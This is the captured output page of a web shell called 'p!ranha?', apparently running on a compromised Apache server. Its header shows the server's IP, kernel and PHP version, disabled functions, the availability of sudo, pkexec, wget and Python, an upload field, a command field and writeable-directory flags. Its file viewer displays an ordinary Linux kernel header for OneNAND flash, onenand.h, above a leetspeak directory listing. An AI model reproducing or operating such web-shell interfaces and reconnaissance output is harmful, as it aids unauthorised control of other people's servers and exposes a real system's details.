p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/modules/3.10.0-1160.105.1.el7.x86_64/build/include/linux/mtd/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/lib/modules/3.10.0-1160.105.1.el7.x86_64/build/include/linux/mtd/onenand.h
/*
 *  linux/include/linux/mtd/onenand.h
 *
 *  Copyright © 2005-2009 Samsung Electronics
 *  Kyungmin Park <kyungmin.park@samsung.com>
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License version 2 as
 * published by the Free Software Foundation.
 */

#ifndef __LINUX_MTD_ONENAND_H
#define __LINUX_MTD_ONENAND_H

#include <linux/spinlock.h>
#include <linux/completion.h>
#include <linux/mtd/flashchip.h>
#include <linux/mtd/onenand_regs.h>
#include <linux/mtd/bbm.h>

#define MAX_DIES		2
#define MAX_BUFFERRAM		2

/* Scan and identify a OneNAND device */
extern int onenand_scan(struct mtd_info *mtd, int max_chips);
/* Free resources held by the OneNAND device */
extern void onenand_release(struct mtd_info *mtd);

/**
 * struct onenand_bufferram - OneNAND BufferRAM Data
 * @blockpage:		block & page address in BufferRAM
 */
struct onenand_bufferram {
	int	blockpage;
};

/**
 * struct onenand_chip - OneNAND Private Flash Chip Data
 * @base:		[BOARDSPECIFIC] address to access OneNAND
 * @dies:		[INTERN][FLEX-ONENAND] number of dies on chip
 * @boundary:		[INTERN][FLEX-ONENAND] Boundary of the dies
 * @diesize:		[INTERN][FLEX-ONENAND] Size of the dies
 * @chipsize:		[INTERN] the size of one chip for multichip arrays
 *			FIXME For Flex-OneNAND, chipsize holds maximum possible
 *			device size ie when all blocks are considered MLC
 * @device_id:		[INTERN] device ID
 * @density_mask:	chip density, used for DDP devices
 * @verstion_id:	[INTERN] version ID
 * @options:		[BOARDSPECIFIC] various chip options. They can
 *			partly be set to inform onenand_scan about
 * @erase_shift:	[INTERN] number of address bits in a block
 * @page_shift:		[INTERN] number of address bits in a page
 * @page_mask:		[INTERN] a page per block mask
 * @writesize:		[INTERN] a real page size
 * @bufferram_index:	[INTERN] BufferRAM index
 * @bufferram:		[INTERN] BufferRAM info
 * @readw:		[REPLACEABLE] hardware specific function for read short
 * @writew:		[REPLACEABLE] hardware specific function for write short
 * @command:		[REPLACEABLE] hardware specific function for writing
 *			commands to the chip
 * @wait:		[REPLACEABLE] hardware specific function for wait on ready
 * @bbt_wait:		[REPLACEABLE] hardware specific function for bbt wait on ready
 * @unlock_all:		[REPLACEABLE] hardware specific function for unlock all
 * @read_bufferram:	[REPLACEABLE] hardware specific function for BufferRAM Area
 * @write_bufferram:	[REPLACEABLE] hardware specific function for BufferRAM Area
 * @read_word:		[REPLACEABLE] hardware specific function for read
 *			register of OneNAND
 * @write_word:		[REPLACEABLE] hardware specific function for write
 *			register of OneNAND
 * @mmcontrol:		sync burst read function
 * @chip_probe:		[REPLACEABLE] hardware specific function for chip probe
 * @block_markbad:	function to mark a block as bad
 * @scan_bbt:		[REPLACEALBE] hardware specific function for scanning
 *			Bad block Table
 * @chip_lock:		[INTERN] spinlock used to protect access to this
 *			structure and the chip
 * @wq:			[INTERN] wait queue to sleep on if a OneNAND
 *			operation is in progress
 * @state:		[INTERN] the current state of the OneNAND device
 * @page_buf:		[INTERN] page main data buffer
 * @oob_buf:		[INTERN] page oob data buffer
 * @subpagesize:	[INTERN] holds the subpagesize
 * @ecclayout:		[REPLACEABLE] the default ecc placement scheme
 * @bbm:		[REPLACEABLE] pointer to Bad Block Management
 * @priv:		[OPTIONAL] pointer to private chip date
 */
struct onenand_chip {
	void __iomem		*base;
	unsigned		dies;
	unsigned		boundary[MAX_DIES];
	loff_t			diesize[MAX_DIES];
	unsigned int		chipsize;
	unsigned int		device_id;
	unsigned int		version_id;
	unsigned int		technology;
	unsigned int		density_mask;
	unsigned int		options;

	unsigned int		erase_shift;
	unsigned int		page_shift;
	unsigned int		page_mask;
	unsigned int		writesize;

	unsigned int		bufferram_index;
	struct onenand_bufferram	bufferram[MAX_BUFFERRAM];

	int (*command)(struct mtd_info *mtd, int cmd, loff_t address, size_t len);
	int (*wait)(struct mtd_info *mtd, int state);
	int (*bbt_wait)(struct mtd_info *mtd, int state);
	void (*unlock_all)(struct mtd_info *mtd);
	int (*read_bufferram)(struct mtd_info *mtd, int area,
			unsigned char *buffer, int offset, size_t count);
	int (*write_bufferram)(struct mtd_info *mtd, int area,
			const unsigned char *buffer, int offset, size_t count);
	unsigned short (*read_word)(void __iomem *addr);
	void (*write_word)(unsigned short value, void __iomem *addr);
	void (*mmcontrol)(struct mtd_info *mtd, int sync_read);
	int (*chip_probe)(struct mtd_info *mtd);
	int (*block_markbad)(struct mtd_info *mtd, loff_t ofs);
	int (*scan_bbt)(struct mtd_info *mtd);
	int (*enable)(struct mtd_info *mtd);
	int (*disable)(struct mtd_info *mtd);

	struct completion	complete;
	int			irq;

	spinlock_t		chip_lock;
	wait_queue_head_t	wq;
	flstate_t		state;
	unsigned char		*page_buf;
	unsigned char		*oob_buf;
#ifdef CONFIG_MTD_ONENAND_VERIFY_WRITE
	unsigned char		*verify_buf;
#endif

	int			subpagesize;
	struct nand_ecclayout	*ecclayout;

	void			*bbm;

	void			*priv;

	/*
	 * Shows that the current operation is composed
	 * of sequence of commands. For example, cache program.
	 * Such command status OnGo bit is checked at the end of
	 * sequence.
	 */
	unsigned int		ongoing;
};

/*
 * Helper macros
 */
#define ONENAND_PAGES_PER_BLOCK        (1<<6)

#define ONENAND_CURRENT_BUFFERRAM(this)		(this->bufferram_index)
#define ONENAND_NEXT_BUFFERRAM(this)		(this->bufferram_index ^ 1)
#define ONENAND_SET_NEXT_BUFFERRAM(this)	(this->bufferram_index ^= 1)
#define ONENAND_SET_PREV_BUFFERRAM(this)	(this->bufferram_index ^= 1)
#define ONENAND_SET_BUFFERRAM0(this)		(this->bufferram_index = 0)
#define ONENAND_SET_BUFFERRAM1(this)		(this->bufferram_index = 1)

#define FLEXONENAND(this)						\
	(this->device_id & DEVICE_IS_FLEXONENAND)
#define ONENAND_GET_SYS_CFG1(this)					\
	(this->read_word(this->base + ONENAND_REG_SYS_CFG1))
#define ONENAND_SET_SYS_CFG1(v, this)					\
	(this->write_word(v, this->base + ONENAND_REG_SYS_CFG1))

#define ONENAND_IS_DDP(this)						\
	(this->device_id & ONENAND_DEVICE_IS_DDP)

#define ONENAND_IS_MLC(this)						\
	(this->technology & ONENAND_TECHNOLOGY_IS_MLC)

#ifdef CONFIG_MTD_ONENAND_2X_PROGRAM
#define ONENAND_IS_2PLANE(this)						\
	(this->options & ONENAND_HAS_2PLANE)
#else
#define ONENAND_IS_2PLANE(this)			(0)
#endif

#define ONENAND_IS_CACHE_PROGRAM(this)					\
	(this->options & ONENAND_HAS_CACHE_PROGRAM)

#define ONENAND_IS_NOP_1(this)						\
	(this->options & ONENAND_HAS_NOP_1)

/* Check byte access in OneNAND */
#define ONENAND_CHECK_BYTE_ACCESS(addr)		(addr & 0x1)

/*
 * Options bits
 */
#define ONENAND_HAS_CONT_LOCK		(0x0001)
#define ONENAND_HAS_UNLOCK_ALL		(0x0002)
#define ONENAND_HAS_2PLANE		(0x0004)
#define ONENAND_HAS_4KB_PAGE		(0x0008)
#define ONENAND_HAS_CACHE_PROGRAM	(0x0010)
#define ONENAND_HAS_NOP_1		(0x0020)
#define ONENAND_SKIP_UNLOCK_CHECK	(0x0100)
#define ONENAND_PAGEBUF_ALLOC		(0x1000)
#define ONENAND_OOBBUF_ALLOC		(0x2000)
#define ONENAND_SKIP_INITIAL_UNLOCKING	(0x4000)

#define ONENAND_IS_4KB_PAGE(this)					\
	(this->options & ONENAND_HAS_4KB_PAGE)

/*
 * OneNAND Flash Manufacturer ID Codes
 */
#define ONENAND_MFR_SAMSUNG	0xec
#define ONENAND_MFR_NUMONYX	0x20

/**
 * struct onenand_manufacturers - NAND Flash Manufacturer ID Structure
 * @name:	Manufacturer name
 * @id:		manufacturer ID code of device.
*/
struct onenand_manufacturers {
        int id;
        char *name;
};

int onenand_bbt_read_oob(struct mtd_info *mtd, loff_t from,
			 struct mtd_oob_ops *ops);
unsigned onenand_block(struct onenand_chip *this, loff_t addr);
loff_t onenand_addr(struct onenand_chip *this, int block);
int flexonenand_region(struct mtd_info *mtd, loff_t addr);

struct mtd_partition;

struct onenand_platform_data {
	void		(*mmcontrol)(struct mtd_info *mtd, int sync_read);
	int		(*read_bufferram)(struct mtd_info *mtd, int area,
			unsigned char *buffer, int offset, size_t count);
	struct mtd_partition *parts;
	unsigned int	nr_parts;
};

#endif	/* __LINUX_MTD_ONENAND_H */
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
January 19 2024 08:12:51
0 / 0
0755
bbm.h
6.107 KB
November 06 2023 09:15:52
0 / 0
0644
blktrans.h
2.81 KB
November 06 2023 09:15:52
0 / 0
0644
cfi.h
14.561 KB
November 06 2023 09:15:52
0 / 0
0644
cfi_endian.h
2.135 KB
November 06 2023 09:15:52
0 / 0
0644
concat.h
1.138 KB
November 06 2023 09:15:52
0 / 0
0644
doc2000.h
6.032 KB
November 06 2023 09:15:52
0 / 0
0644
flashchip.h
3.037 KB
November 06 2023 09:15:52
0 / 0
0644
fsmc.h
4.476 KB
November 06 2023 09:15:52
0 / 0
0644
ftl.h
2.491 KB
November 06 2023 09:15:52
0 / 0
0644
gen_probe.h
1.257 KB
November 06 2023 09:15:52
0 / 0
0644
inftl.h
1.555 KB
November 06 2023 09:15:52
0 / 0
0644
latch-addr-flash.h
0.699 KB
November 06 2023 09:15:52
0 / 0
0644
lpc32xx_mlc.h
0.519 KB
November 06 2023 09:15:52
0 / 0
0644
lpc32xx_slc.h
0.519 KB
November 06 2023 09:15:52
0 / 0
0644
map.h
12.965 KB
November 06 2023 09:15:52
0 / 0
0644
mtd.h
13.062 KB
November 06 2023 09:15:52
0 / 0
0644
mtdram.h
0.207 KB
November 06 2023 09:15:52
0 / 0
0644
nand-gpio.h
0.354 KB
November 06 2023 09:15:52
0 / 0
0644
nand.h
24.065 KB
November 06 2023 09:15:52
0 / 0
0644
nand_bch.h
1.729 KB
November 06 2023 09:15:52
0 / 0
0644
nand_ecc.h
1.143 KB
November 06 2023 09:15:52
0 / 0
0644
ndfc.h
2.204 KB
November 06 2023 09:15:52
0 / 0
0644
nftl.h
2.381 KB
November 06 2023 09:15:52
0 / 0
0644
onenand.h
7.966 KB
November 06 2023 09:15:52
0 / 0
0644
onenand_regs.h
7.148 KB
November 06 2023 09:15:52
0 / 0
0644
partitions.h
2.7 KB
November 06 2023 09:15:52
0 / 0
0644
pfow.h
5.606 KB
November 06 2023 09:15:52
0 / 0
0644
physmap.h
1 KB
November 06 2023 09:15:52
0 / 0
0644
pismo.h
0.43 KB
November 06 2023 09:15:52
0 / 0
0644
plat-ram.h
0.798 KB
November 06 2023 09:15:52
0 / 0
0644
qinfo.h
2.433 KB
November 06 2023 09:15:52
0 / 0
0644
sh_flctl.h
6.388 KB
November 06 2023 09:15:52
0 / 0
0644
sharpsl.h
0.528 KB
November 06 2023 09:15:52
0 / 0
0644
spear_smi.h
1.665 KB
November 06 2023 09:15:52
0 / 0
0644
super.h
0.815 KB
November 06 2023 09:15:52
0 / 0
0644
ubi.h
8.771 KB
November 06 2023 09:15:52
0 / 0
0644
xip.h
2.608 KB
November 06 2023 09:15:52
0 / 0
0644